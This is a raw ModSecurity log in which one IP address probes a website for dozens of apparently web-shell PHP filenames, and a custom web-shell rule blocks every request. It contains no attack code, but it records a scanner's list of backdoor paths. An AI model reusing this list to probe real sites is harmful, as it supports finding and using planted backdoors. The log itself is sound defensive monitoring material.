[Sun Apr 19 02:44:01.049686 2026] [:error] [pid 32252:tid 32271] [client 20.91.197.181:51793] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sts.php"] [unique_id "aePQ8eXl4Yc-Lt5fJ9isogAAARE"]
[Sun Apr 19 02:44:01.658546 2026] [:error] [pid 32165:tid 32170] [client 20.91.197.181:47420] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Geforce.php"] [unique_id "aePQ8ae2vKwEk_N0BrYAKAAAAAE"]
[Sun Apr 19 02:44:02.493544 2026] [:error] [pid 33517:tid 33533] [client 20.91.197.181:51804] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Geforce.php"] [unique_id "aePQ8n4Zz-rubR1wiZ-72gAAAM4"]
[Sun Apr 19 02:44:03.239224 2026] [:error] [pid 60910:tid 60924] [client 20.91.197.181:55177] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Geforce.php"] [unique_id "aePQ83FWunkyacYqsD1M_gAAAUw"]
[Sun Apr 19 02:44:03.893843 2026] [:error] [pid 33517:tid 33523] [client 20.91.197.181:55218] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Geforce.php"] [unique_id "aePQ834Zz-rubR1wiZ-73QAAAMQ"]
[Sun Apr 19 02:44:04.582285 2026] [:error] [pid 41277:tid 41288] [client 20.91.197.181:52631] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dichku.php"] [unique_id "aePQ9EH3ayszMLZYflsGQQAAAYk"]
[Sun Apr 19 02:44:05.256038 2026] [:error] [pid 33517:tid 33525] [client 20.91.197.181:51798] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dichku.php"] [unique_id "aePQ9X4Zz-rubR1wiZ-74gAAAMY"]
[Sun Apr 19 02:44:05.926307 2026] [:error] [pid 32167:tid 32245] [client 20.91.197.181:52050] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dichku.php"] [unique_id "aePQ9UyD4Jm27Mb3NJiW6gAAAJQ"]
[Sun Apr 19 02:44:06.651703 2026] [:error] [pid 32167:tid 32226] [client 20.91.197.181:55172] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dichku.php"] [unique_id "aePQ9kyD4Jm27Mb3NJiW8AAAAIE"]
[Sun Apr 19 02:44:07.275674 2026] [:error] [pid 32167:tid 32244] [client 20.91.197.181:47364] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "aePQ90yD4Jm27Mb3NJiW9QAAAJM"]
[Sun Apr 19 02:44:07.958816 2026] [:error] [pid 32167:tid 32242] [client 20.91.197.181:51037] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "aePQ90yD4Jm27Mb3NJiW-AAAAJE"]
[Sun Apr 19 02:44:08.552788 2026] [:error] [pid 60910:tid 60916] [client 20.91.197.181:50881] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "aePQ-HFWunkyacYqsD1NAQAAAUQ"]
[Sun Apr 19 02:44:09.124571 2026] [:error] [pid 32167:tid 32235] [client 20.91.197.181:47384] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "aePQ-UyD4Jm27Mb3NJiW_AAAAIo"]
[Sun Apr 19 02:44:09.682604 2026] [:error] [pid 32167:tid 32246] [client 20.91.197.181:55186] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htto.php"] [unique_id "aePQ-UyD4Jm27Mb3NJiXAAAAAJU"]
[Sun Apr 19 02:44:10.371540 2026] [:error] [pid 32166:tid 32206] [client 20.91.197.181:49733] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htto.php"] [unique_id "aePQ-pCHNkWwdiZnafLXjwAAAEg"]
[Sun Apr 19 02:44:10.929078 2026] [:error] [pid 60910:tid 60912] [client 20.91.197.181:55228] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htto.php"] [unique_id "aePQ-nFWunkyacYqsD1NBQAAAUA"]
[Sun Apr 19 02:44:11.709369 2026] [:error] [pid 60910:tid 60917] [client 20.91.197.181:52093] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htto.php"] [unique_id "aePQ-3FWunkyacYqsD1NBwAAAUU"]
[Sun Apr 19 02:44:12.316428 2026] [:error] [pid 60910:tid 60920] [client 20.91.197.181:52053] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-ccv.php"] [unique_id "aePQ_HFWunkyacYqsD1NCgAAAUg"]
[Sun Apr 19 02:44:12.873857 2026] [:error] [pid 60910:tid 60918] [client 20.91.197.181:50003] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-ccv.php"] [unique_id "aePQ_HFWunkyacYqsD1NDwAAAUY"]
[Sun Apr 19 02:44:13.481006 2026] [:error] [pid 33517:tid 33528] [client 20.91.197.181:50041] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-ccv.php"] [unique_id "aePQ_X4Zz-rubR1wiZ-75QAAAMk"]
[Sun Apr 19 02:44:14.041851 2026] [:error] [pid 33517:tid 33519] [client 20.91.197.181:55206] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-ccv.php"] [unique_id "aePQ_n4Zz-rubR1wiZ-75gAAAMA"]
[Sun Apr 19 02:44:14.711168 2026] [:error] [pid 33517:tid 33535] [client 20.91.197.181:49999] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hfles.php"] [unique_id "aePQ_n4Zz-rubR1wiZ-76wAAANA"]
[Sun Apr 19 02:44:15.375139 2026] [:error] [pid 41277:tid 41281] [client 20.91.197.181:52034] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hfles.php"] [unique_id "aePQ_0H3ayszMLZYflsGSgAAAYI"]
[Sun Apr 19 02:44:16.058870 2026] [:error] [pid 33517:tid 33532] [client 20.91.197.181:52648] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hfles.php"] [unique_id "aePRAH4Zz-rubR1wiZ-78AAAAM0"]
[Sun Apr 19 02:44:16.656251 2026] [:error] [pid 32167:tid 32229] [client 20.91.197.181:52071] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hfles.php"] [unique_id "aePRAEyD4Jm27Mb3NJiXDQAAAIQ"]
[Sun Apr 19 02:44:17.346382 2026] [:error] [pid 32167:tid 32245] [client 20.91.197.181:52089] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "aePRAUyD4Jm27Mb3NJiXDgAAAJQ"]
[Sun Apr 19 02:44:17.935080 2026] [:error] [pid 41277:tid 41296] [client 20.91.197.181:52090] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "aePRAUH3ayszMLZYflsGTwAAAZE"]
[Sun Apr 19 02:44:18.572317 2026] [:error] [pid 32167:tid 32227] [client 20.91.197.181:52670] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "aePRAkyD4Jm27Mb3NJiXFAAAAII"]
[Sun Apr 19 02:44:19.265484 2026] [:error] [pid 60910:tid 60926] [client 20.91.197.181:50040] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "aePRA3FWunkyacYqsD1NJQAAAU4"]
[Sun Apr 19 02:44:19.895782 2026] [:error] [pid 32167:tid 32242] [client 20.91.197.181:52600] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "aePRA0yD4Jm27Mb3NJiXGQAAAJE"]
[Sun Apr 19 02:44:20.794037 2026] [:error] [pid 41277:tid 41282] [client 20.91.197.181:52625] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "aePRBEH3ayszMLZYflsGUQAAAYM"]
[Sun Apr 19 02:44:21.514347 2026] [:error] [pid 41277:tid 41280] [client 20.91.197.181:50044] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "aePRBUH3ayszMLZYflsGUwAAAYE"]
[Sun Apr 19 02:44:22.182544 2026] [:error] [pid 32165:tid 32193] [client 20.91.197.181:50045] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "aePRBqe2vKwEk_N0BrYANgAAABg"]
[Sun Apr 19 02:44:23.284201 2026] [:error] [pid 32165:tid 32186] [client 20.91.197.181:51036] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "aePRB6e2vKwEk_N0BrYAOwAAABE"]
[Sun Apr 19 02:44:24.024519 2026] [:error] [pid 32167:tid 32243] [client 20.91.197.181:51836] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "aePRCEyD4Jm27Mb3NJiXHwAAAJI"]
[Sun Apr 19 02:44:25.186594 2026] [:error] [pid 32252:tid 32259] [client 20.91.197.181:52608] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "aePRCeXl4Yc-Lt5fJ9isrAAAAQU"]
[Sun Apr 19 02:44:26.460960 2026] [:error] [pid 32252:tid 32275] [client 20.91.197.181:51776] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "aePRCuXl4Yc-Lt5fJ9isrQAAARU"]
[Sun Apr 19 02:44:27.483173 2026] [:error] [pid 32166:tid 32218] [client 20.91.197.181:52033] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "aePRC5CHNkWwdiZnafLXnAAAAFQ"]
[Sun Apr 19 02:44:28.530375 2026] [:error] [pid 60910:tid 60934] [client 20.91.197.181:49994] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "aePRDHFWunkyacYqsD1NLQAAAVY"]
[Sun Apr 19 02:44:29.670632 2026] [:error] [pid 60910:tid 60919] [client 20.91.197.181:50913] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "aePRDXFWunkyacYqsD1NMQAAAUc"]
[Sun Apr 19 02:44:31.203618 2026] [:error] [pid 60910:tid 60926] [client 20.91.197.181:55533] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "aePRD3FWunkyacYqsD1NNgAAAU4"]
[Sun Apr 19 02:44:32.270495 2026] [:error] [pid 60910:tid 60919] [client 20.91.197.181:52095] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file61.php"] [unique_id "aePREHFWunkyacYqsD1NPQAAAUc"]
[Sun Apr 19 02:44:34.606663 2026] [:error] [pid 32166:tid 32216] [client 20.91.197.181:50015] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file61.php"] [unique_id "aePREpCHNkWwdiZnafLXowAAAFI"]
[Sun Apr 19 02:44:46.790722 2026] [:error] [pid 32167:tid 32228] [client 20.91.197.181:55494] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/repurify.php"] [unique_id "aePRHkyD4Jm27Mb3NJiXWAAAAIM"]
[Sun Apr 19 02:44:47.382473 2026] [:error] [pid 41277:tid 41290] [client 20.91.197.181:52664] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/repurify.php"] [unique_id "aePRH0H3ayszMLZYflsGgQAAAYs"]
[Sun Apr 19 02:44:48.371781 2026] [:error] [pid 41277:tid 41281] [client 20.91.197.181:55520] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/repurify.php"] [unique_id "aePRIEH3ayszMLZYflsGhAAAAYI"]
[Sun Apr 19 02:44:49.009392 2026] [:error] [pid 41277:tid 41296] [client 20.91.197.181:52035] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/repurify.php"] [unique_id "aePRIUH3ayszMLZYflsGhgAAAZE"]
[Sun Apr 19 02:44:49.584759 2026] [:error] [pid 32166:tid 32211] [client 20.91.197.181:55513] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4GrJSiwkF3A.php"] [unique_id "aePRIZCHNkWwdiZnafLXrAAAAE0"]
[Sun Apr 19 02:44:50.427551 2026] [:error] [pid 32166:tid 32221] [client 20.91.197.181:52598] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4GrJSiwkF3A.php"] [unique_id "aePRIpCHNkWwdiZnafLXrgAAAFc"]
[Sun Apr 19 02:44:51.071093 2026] [:error] [pid 41277:tid 41284] [client 20.91.197.181:55547] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4GrJSiwkF3A.php"] [unique_id "aePRI0H3ayszMLZYflsGjQAAAYU"]
[Sun Apr 19 02:44:52.342934 2026] [:error] [pid 60910:tid 60933] [client 20.91.197.181:55530] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4GrJSiwkF3A.php"] [unique_id "aePRJHFWunkyacYqsD1NSAAAAVU"]
[Sun Apr 19 02:44:53.091048 2026] [:error] [pid 41277:tid 41281] [client 20.91.197.181:47369] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "aePRJUH3ayszMLZYflsGkwAAAYI"]
[Sun Apr 19 02:44:53.652363 2026] [:error] [pid 32252:tid 32269] [client 20.91.197.181:49828] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "aePRJeXl4Yc-Lt5fJ9isywAAAQ8"]
[Sun Apr 19 02:44:54.418091 2026] [:error] [pid 33517:tid 33537] [client 20.91.197.181:52094] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "aePRJn4Zz-rubR1wiZ-8DwAAANI"]
[Sun Apr 19 02:44:54.981265 2026] [:error] [pid 33517:tid 33535] [client 20.91.197.181:52617] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "aePRJn4Zz-rubR1wiZ-8EAAAANA"]
[Sun Apr 19 02:44:55.585704 2026] [:error] [pid 32252:tid 32271] [client 20.91.197.181:50043] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpxl.php"] [unique_id "aePRJ-Xl4Yc-Lt5fJ9is0AAAARE"]
